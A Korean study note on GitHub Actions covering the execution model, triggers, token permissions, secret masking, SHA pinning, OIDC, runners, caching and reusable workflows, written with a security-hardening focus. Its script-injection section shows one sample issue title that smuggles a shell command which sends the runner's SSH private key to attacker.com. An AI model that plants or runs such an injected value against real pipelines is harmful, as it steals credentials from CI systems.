CI/CD 학습 노트 목차

GitHub Actions — 문법과 실행 모델

워크플로 문법은 금방 익힌다. 문제는 언제 무엇이 어떤 권한으로 도는가다. 이 편은 그 실행 모델을 따라간다.


1. 계층

워크플로 파일 하나가 여러 을 담고, 잡 하나가 여러 스텝을 담는다. 잡끼리는 기본적으로 병렬이고 스텝은 순차다.

name: CI
on:
  push: { branches: [main] }
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 22, cache: npm }
      - run: npm ci
      - run: npm test

여기서 놓치기 쉬운 것은 잡이 서로 다른 러너에서 돈다는 점이다. 파일시스템이 공유되지 않으므로 잡 사이에 산출물을 넘기려면 아티팩트를 써야 하고, 같은 머신에서 이어 하려면 한 잡 안의 스텝으로 둬야 한다.

2. 트리거 — on

on:
  push:
    branches: [main]
    paths: ["src/**", "package.json"]     # 이 경로가 바뀔 때만
  pull_request:
    types: [opened, synchronize, reopened]
  schedule:
    - cron: "0 3 * * 1"                    # UTC 기준
  workflow_dispatch:                        # 수동 실행
    inputs:
      env: { type: choice, options: [staging, prod] }
  workflow_call:                            # 다른 워크플로가 부를 수 있게

paths 필터로 모노레포의 불필요한 실행을 크게 줄일 수 있다. 다만 필수 상태 체크로 지정한 워크플로가 paths 로 건너뛰어지면 PR 이 "체크 대기" 로 영원히 멈춘다. 그 경우 항상 성공하는 더미 잡을 두는 우회가 필요하다.

cron 은 UTC 기준이다. 한국 시간으로 생각하면 9시간 어긋난다.

pull_request vs pull_request_target

  • pull_request — PR 브랜치의 코드로 돈다. 토큰 권한이 읽기로 제한되고, 포크에서 온 PR 은 시크릿에 접근할 수 없다
  • pull_request_target — 베이스 브랜치의 워크플로로 돌지만 시크릿과 쓰기 권한을 갖는다

pull_request_target 에서 PR 코드를 체크아웃하면 신뢰할 수 없는 코드가 시크릿을 가진 채로 실행된다. 대표적인 공급망 취약점 패턴이다. 꼭 필요하면 PR 코드를 실행하지 말고 메타데이터만 다룬다.

3. 권한 — GITHUB_TOKEN

permissions:
  contents: read          # 기본을 읽기로
jobs:
  release:
    permissions:
      contents: write     # 필요한 잡에서만 올린다
      id-token: write     # OIDC 를 쓸 때

공식 문서의 권장은 명확하다 — "set the default permission for the GITHUB_TOKEN to read access only for repository contents. The permissions can then be increased, as required, for individual jobs."

기본값이 넓게 설정된 저장소가 많은데, 워크플로마다 permissions 를 명시하면 저장소 기본값과 무관하게 좁힐 수 있다.

4. 시크릿 — 어디까지 지켜 주나

로그에서 마스킹되지만, 정확히 일치하는 값을 찾는 방식이다. 그래서 공식 문서가 네 가지를 경고한다.

  • 구조화된 데이터(JSON·XML)를 시크릿으로 쓰지 않는다 — 부분 문자열이 그대로 노출될 수 있다
  • 변형된 값도 따로 등록한다 — base64·URL 인코딩된 형태는 별개의 문자열이라 마스킹되지 않는다
  • 주기적으로 교체한다
  • 실제 사용 후 로그를 감사한다

스크립트 인젝션이 가장 흔한 실수다

- run: echo "제목: ${{ github.event.issue.title }}"     # ✗ 위험

PR 제목·이슈 본문·브랜치 이름은 공격자가 정하는 문자열이다. 그것을 셸 명령에 직접 보간하면 임의 명령이 실행된다. 제목이 "; curl attacker.com/$(cat ~/.ssh/id_rsa | base64); # 이면 그대로 돈다.

공식 권장은 중간 환경변수를 거치는 것이다.

- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "제목: $TITLE"      # ✓ 셸이 문자열로 다룬다

5. 액션을 SHA 로 고정한다

- uses: actions/checkout@v4                                    # 태그 — 바뀔 수 있다
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683   # SHA — 불변

공식 문서는 이렇게 못 박는다 — "Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release."

태그는 옮길 수 있다. v4 태그를 공격자가 자기 커밋으로 옮기면 그 액션을 쓰는 모든 저장소가 즉시 영향을 받는다. 실제로 널리 쓰이던 액션이 침해돼 시크릿이 유출된 사건이 있었다.

  • 서드파티 액션은 SHA 로 고정한다
  • Dependabot 이 SHA 갱신 PR 을 만들어 준다 (주석으로 버전을 남긴다)
  • 조직 정책으로 허용 액션 목록을 제한한다

6. OIDC — 장기 자격증명을 없앤다

permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
      aws-region: ap-northeast-2

예전에는 AWS 액세스 키를 시크릿에 저장했다. 유출되면 무기한 유효하고, 교체가 번거로워 방치되기 쉽다. OIDC 를 쓰면 워크플로가 단기 토큰을 발급받아 역할을 맡는다. 저장할 장기 자격증명이 없고, 클라우드 쪽에서 어느 저장소·브랜치인지로 신뢰 조건을 건다.

신뢰 정책을 좁게 쓰는 것이 핵심이다. sub 조건을 repo:org/repo:ref:refs/heads/main 처럼 구체적으로 적는다. repo:org/* 로 넓게 쓰면 조직 안 아무 저장소가, 심지어 새로 만든 저장소가 운영 권한을 갖게 된다.

7. 러너

  • GitHub 호스티드 — 매번 깨끗한 VM. 관리 부담이 없다. 공개 저장소는 무료, 비공개는 사용량 과금
  • 셀프 호스티드 — 우리 인프라에서 돈다. 사양·네트워크를 통제할 수 있다

공식 문서의 경고가 셀프 호스티드의 성격을 그대로 말해 준다 — "do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code."

셀프 호스티드를 공개 저장소에 붙이면 안 된다. 누구나 PR 로 임의 코드를 우리 인프라에서 실행할 수 있고, 한 번 침해되면 다음 잡까지 영향을 준다. 써야 한다면 비공개 저장소에만, 잡마다 새 VM/컨테이너로, 자격증명을 두지 않고 네트워크를 좁혀서 쓴다.

8. 속도 — 캐시와 병렬

- uses: actions/cache@v4
  with:
    path: ~/.m2/repository
    key: maven-${{ hashFiles('**/pom.xml') }}
    restore-keys: maven-
  • key — 정확히 일치하면 복원한다. 잠금 파일 해시를 쓰는 것이 정석이다
  • restore-keys — 정확히 없으면 접두사가 맞는 최근 캐시를 가져온다. 처음부터 받는 것보다 낫다

setup-node · setup-java 같은 액션들은 cache 옵션을 내장하고 있어 그쪽이 더 간단하다.

strategy:
  matrix:
    node: [20, 22]
    os: [ubuntu-latest, macos-latest]
  fail-fast: false        # 하나 실패해도 나머지는 계속

매트릭스는 조합만큼 잡이 생긴다(2 × 2 = 4). 불필요하게 넓히면 비용과 시간이 곱으로 늘어난다. fail-fast 는 기본이 true 라 하나 실패하면 나머지를 취소한다. 빠른 피드백에는 좋고, 전체 결과를 보고 싶을 때만 false 로 둔다.

9. 재사용

# .github/workflows/reusable-build.yml
on:
  workflow_call:
    inputs:
      image-tag: { type: string, required: true }
    secrets:
      registry-token: { required: true }
# 호출하는 쪽
jobs:
  build:
    uses: ./.github/workflows/reusable-build.yml
    with: { image-tag: ${{ github.sha }} }
    secrets: inherit

재사용 워크플로는 잡 단위를 통째로 재사용하고, 합성 액션(composite)은 스텝 묶음을 재사용한다. 조직 표준 파이프라인을 재사용 워크플로로 만들어 두면 저장소마다 몇 줄만 쓰면 되고, 보안 설정(permissions · SHA 고정)을 한곳에서 강제할 수 있다.

10. 동시성 — 중복 실행 취소

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

같은 PR 에 연속으로 push 하면 이전 실행이 취소돼 러너 시간이 크게 절약된다. 다만 운영 배포에는 cancel-in-progress: false 로 둔다. 배포 중간에 취소되면 어중간한 상태가 남을 수 있으므로, 취소 대신 순서대로 하나씩 돌게 한다.

11. 자주 겪는 것

증상원인
워크플로가 아예 안 뜬다파일 문법 오류 — Actions 탭에서 확인
포크 PR 에서 시크릿이 비어 있다의도된 동작이다
잡 간 파일이 안 넘어간다러너가 다르다 → upload-artifact / download-artifact
태그 push 에 안 돈다on.push.tags 를 따로 지정해야 한다
push 했는데 다음 워크플로가 안 돈다GITHUB_TOKEN push 는 트리거하지 않는다 (무한 루프 방지). PAT·App 토큰이 필요하다
로그가 마스킹돼 디버깅이 어렵다ACTIONS_STEP_DEBUG 시크릿으로 상세 로그를 켠다

한눈에 정리

  • 계층 — 워크플로 → 잡(러너 하나) → 스텝. 잡끼리는 파일시스템이 다르다
  • 트리거paths 로 모노레포 실행을 줄인다. cron 은 UTC
  • pull_request_target — 시크릿을 갖고 도는 이벤트다. PR 코드를 실행하지 않는다
  • permissions — 기본을 read 로 두고 잡마다 올린다
  • 시크릿 — 정확 일치 마스킹이다. 구조화 데이터 금지, 변형값도 등록
  • 인젝션 — PR 제목·브랜치명은 공격자 입력이다 → 환경변수를 거친다
  • 액션 고정 — SHA 가 유일한 불변 참조다. 태그는 옮겨질 수 있다
  • OIDC — 장기 키를 없앤다. 신뢰 조건(sub)을 좁게 쓴다
  • 셀프 호스티드 — 공개 저장소에 붙이지 않는다. 일회성으로 돌린다
  • 캐시 — 잠금 파일 해시를 key 로, restore-keys 로 부분 적중
  • concurrency — PR 은 취소, 운영 배포는 취소하지 않는다

출처 — GitHub Docs: "Workflow syntax for GitHub Actions" · "Security hardening for GitHub Actions"(스크립트 인젝션 · SHA 고정 · GITHUB_TOKEN 권한 · 시크릿 · 셀프 호스티드 러너 · OIDC) · "Using OpenID Connect with reusable workflows"

무엇을 자동화하는 것인가 — CI·CD·배포 전략